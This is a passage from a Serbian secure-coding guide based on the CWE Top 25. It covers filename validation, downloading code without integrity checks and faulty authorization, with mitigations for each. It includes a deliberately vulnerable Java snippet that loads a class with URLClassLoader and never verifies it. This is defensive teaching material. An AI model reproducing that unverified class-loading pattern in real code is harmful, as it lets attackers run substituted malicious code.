Prilikom validacije imena fajlova treba koristiti stroga pravila koja ograničavaju skup

karaktera koji se mogu koristiti. Ukoliko je moguće treba omogućiti samo korišćenje

jedne tačke „.“ u imenima fajlova. TakoĎe treba korisiti i listu dozvoljenih ekstenzija.

Ne treba se oslanjati isključivo na mehanizme za filtriranje koji prepoznaju

potencijalno opasne karaktere. Na primer, filtriranje karaktera „/“ je nedovoljna

zaštita ukoliko sistem podržava i karakter „\“ kao separator za direktorijume.

Za svaku bezbednosnu proveru koja se vrši na strani klijenta treba obezbediti da se ta

ista provera vrši i na strani servera. Napadači mogu zaobići provere na strani klijenta

promenom vrednosti nakon što su provere izvršene.

Koristiti zaštite za aplikacije koje mogu da detektuju ovakve vrste napada. Ovo može

biti korisno u slučajevima gde se kod ne može lako popraviti.

Kada je skup prihvatljivih objekata, kao što su imena fajlova i url-ovi, ograničen ili

poznat treba osmisliti mapiranje koje vrši preslikavanje iz tog skupa fiksiranih

ulaznih vrednosti u skup stvarnih vrednosti i tako odbijati sve ulaze koji se nisu

odgovarajući.

Obezbediti da poruke o greškama sadrže minimalno detalja koji su od koristi samo

odreĎenim osobama i nikome više. One ne treba da otkriju metode koje su korišćene

u detekciji greške. Takve informacije mogu biti korisne u poboljšanju napada.

Ukoliko koristite PHP treba konfigurisati aplikaciju tako da se ne koriste globalne

promenljive (register_globals)

Preuzimanje koda bez prevere integriteta

Opis

Nije nepoznata stvar to da ukoliko preuzmemo neki kod sa Interneta i pokrenemo ga

mi ustvari verujemo da taj kod nije zarazan (zlonameran). Čak i ukoliko pristupamo samo

sajtovima kojima verujemo, napadači će učiniti sve da izmene taj kod pre nego što doĎe do

nas. Oni mogu, na primer, da preuzmu (hakuju) sajt za preuzimanje podataka i tako naterati

sistem da vrši preusmeravanje na neki drugi sajt i sl. Ovo se može dogoditi i u slučajevima

kada se preuzima sopstveni proizvod. Kada do ovoga doĎe softver će pokrenuti kod koji nije

očekivao, što je loše po nas, a odlično za napadače.

Primer

U ovom primeru učitava se eksterna klasa iz lokalnog poddirektorijuma:

URL[] classURLs= new URL[]{

new URL("file:subdir/")

};

URLClassLoader loader = new URLClassLoader(classURLs);

Class loadedClass = Class.forName("loadMe", true, loader);

Ovaj kod ne proverava da li je klasa koja je učitana ona očekivana. Napadač može promeniti

klasu u neki izvršni zlonamerni kod.

Načini rešavanja problema

Proveravati DNS-ove kako bi se otkrile razne obmane

Šifrovati kod pouzdanim algoritmima pre prenosa

Može biti korisno koristiti alate ili zaštite koji vrše proveru integriteta prilikom

preuzimanja koda

Pogrešna autorizacija

Opis

Dok je nedostatak odobrenja pristupa prilično opasan, neodgovarajuća odobrenja

mogu biti jednako problematična. Programeri mogu pokušati da kontrolišu pristup odreĎenim

resursima, ali je to uglavnom implementirano tako da se može zaobići. Na primer, odreĎena

osoba je jednom prilikom bila prijavljena na nekoj web aplikaciji i programeri mogu sačuvati

ovu informaciju u kolačiću. Izmenom kolačića, napadač može pristupiti drugim resursima.

Alternativno, programer može izvršiti autorizaciju isporukom koda koji se izvršava na strani

klijenta, ali napadač može koristiti izmenjenog klijenta koji u potpunosti uklanja proveru.

Načini rešavanja problema

Uveriti se da svoju kontrolu pristupa radite u skladu sa svojom poslovnom logikom

Korišćenje proverenih biblioteka

Kod web aplikacija, proveriti da mehanizam za kontrolu pristupa radi ispravno na

serverskoj strani za svaku stranicu

Koristite mogućnosti kontrole pristupa vašeg operativnog sistema i servera i

definišite svoju listu pristupa u skladu sa njima. Koristiti politiku „podrazumevana

odbijanja“ prilikom definisanja kontrola pristupa

Zaključak

Kao što se vidi iz prethodnog, greške su raznih tipova. Međutim, ono što je zajedničko za njih je to da je potrebno samo malo nepažnje da bi do njih došlo. S druge strane, zajedničko je i to što je, na svu sredu, uglavnom lako njihovo ispravljanje. Ukoliko ih ne ispravimo to često može imati nesagledive posledice, naročito za ozbiljnije softverske projekte. Zbog toga nam ova lista može služiti i kao mali podsetnik, i veliko upozorenje da pazimo prilikom izgradnje softvera. Čak i naizgled najbezazlenije radnje i komande mogu u sebi kriti veoma opasna mesta koja mogu biti zloupotrebljena od onih kojima je posao da zloupotrebljavaju takve nedostatke. Izgradnja softvera de uvek predstavljati borbu između dveju strana, i svaka od tih strana de onu drugu terati da se poboljšava i unapređuje. Ta brorba de trajati bez prestanka.

Literatura

1. http://cwe.mitre.org/top25/